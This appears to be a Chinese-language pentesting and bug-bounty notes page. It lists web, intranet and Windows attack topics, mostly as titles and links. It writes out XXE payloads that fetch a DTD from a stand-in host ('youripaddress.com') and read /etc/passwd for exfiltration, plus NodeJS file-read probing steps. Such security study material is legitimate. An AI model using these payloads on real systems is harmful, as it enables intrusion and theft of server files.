web

tools—tips

协议层攻击

XSS

SQL

XXE

  1. <!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://youripaddress.com"> %xxe; ]>
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">

SSRF

  1. 在大多数浏览器中，该工具支持通过TLS进行通用SSRF以及通过图像标签进行CSRF的工具。目标类似于SNI注入，但是这种新方法使用TLS的固有行为，而不是依赖于特定实现中的错误。

bypass类型文章

  1. Web应用程序防火墙（WAF）规避技术＃3

逻辑漏洞

IDOR

  1. IDOR –技巧和窍门

Password-reset

  1. 10-Password-reset-flaws

TOOLS

  1. Arjun

模板注入[SSTI]

  1. ASP.NET Razor中的服务器端模板注入（SSTI）-in-ASP.NET-Razor/)

nodejs-rce-LFR

https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/

  1. 如果目标正在响应X-Powered-By: Express并且响应中包含HTML，则很有可能正在使用具有服务器端模板的NodeJ。
  2. 将layout您的参数发现/模糊词表添加到GET查询或POST正文中。
  3. 如果以任意值layout添加参数导致500 Internal Server Error与ENOENT: no such file or directory身体，你已经打了LFR。

Twitter上的tips

  1. 赏金黑客渗透技巧 漏洞赏金技巧七 原文 翻译
  2. 漏洞赏金技巧六 翻译

信息搜集的小妙招

  1.    urls = []
  2. $$('*').forEach(element => {
  3.   urls.push(element.src)
  4.   urls.push(element.href)
  5.   urls.push(element.url)
  6. }); console.log(...new Set(urls))

代码审计

Java

反序列化

内网

windows

信息搜集

密码抓取

权限提升

免杀

各种Loader

横向移动

权限维持

提取类漏洞收集

  1. https://github.com/Al1ex/Heptagram/tree/master/Windows/Elevation
  2. Windows exploits提权漏洞合集，附带编译环境，演示GIF图，漏洞详细信息，可执行文件

Linux

  • GTFOBins是一个精选的Unix二进制列表，攻击者可以利用它来绕过本地安全限制。

一些学习的综合库

blog

面试

linux tips